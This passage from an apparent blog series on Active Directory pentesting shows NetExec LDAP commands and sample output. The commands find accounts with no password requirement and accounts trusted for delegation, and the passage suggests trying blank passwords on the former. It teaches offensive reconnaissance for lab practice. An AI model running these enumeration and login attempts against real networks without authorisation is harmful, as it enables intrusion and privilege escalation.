Find accounts where passwords aren’t required (security misconfiguration):
nxc ldap 192.168.1.10 -u administrator -p 'Password123!' --password-not-required
LDAP 192.168.1.10 389 DC01 [*] Total of 2 accounts that do not require a password
LDAP 192.168.1.10 389 DC01 test_account
LDAP 192.168.1.10 389 DC01 legacy_app
- What to do:* Try authenticating with blank passwords for these accounts!
6. Trusted for Delegation
Accounts trusted for delegation can impersonate other users:
nxc ldap 192.168.1.10 -u administrator -p 'Password123!' --trusted-for-delegation
LDAP 192.168.1.10 389 DC01 [*] Accounts trusted for delegation:
LDAP 192.168.1.10 389 DC01 DC01$ (Unconstrained Delegation)
LDAP 192.168.1.10 389 DC01 WEB01$ (Unconstrained Delegation)
LDAP 192.168.1.10 389 DC01 svc_http (Constrained to HTTP/webserver.corp.local)
- Why this is critical:*
- Unconstrained delegation* = Can impersonate ANY user (including Domain Admins)
- Constrained delegation* = Can impersonate users to specific services
- Major privilege escalation vector
LDAP Modules (The Power Tools)
NetExec has built-in modules for specific LDAP enumeration tasks. Use -M to invoke them.
List All LDAP Modules
nxc ldap -L
[*] get-desc-users Get user descriptions (may contain passwords)
[*] groupmembership Query groups a user belongs to
[*] group-mem Retrieves all members within a group
[*] whoami Get current authenticated user
[*] enum_trusts Extract trust relationships
[*] adcs Enumerate AD Certificate Services
[*] daclread Read object DACLs (permissions)
[*] maq Get Machine Account Quota
With the completion of Blog 1 and Blog 2, we now have a solid foundation for Active Directory pentesting from both a theoretical and practical angle. Blog 1 introduced the core structure of AD, explained its protocols, ports, and authentication mechanisms, and covered the first stage of reconnaissance through DNS and SMB enumeration. These techniques helped us identify the network map, users, shares, and password policies, forming the baseline for enumeration. In Blog 2, we expanded that knowledge by diving into LDAP enumeration, learning how AD objects can be queried, filtered, and extracted using ldapsearch, and finally explored how tools like NetExec streamline manual enumeration by automating SMB and LDAP techniques in a single framework.
From here, the series will continue on BloodBound, where I’ll be publishing each part of this AD pentesting roadmap. Future blogs will move from enumeration into privilege escalation, authentication attacks (Kerberoasting, AS-REP roasting), lateral movement, persistence, and full domain compromise techniques. I will also attach downloadable cheat sheets, command references, and sample lab outputs in each post so readers can practice hands-on. Stay tuned for the next blog where we move from enumeration to exploitation!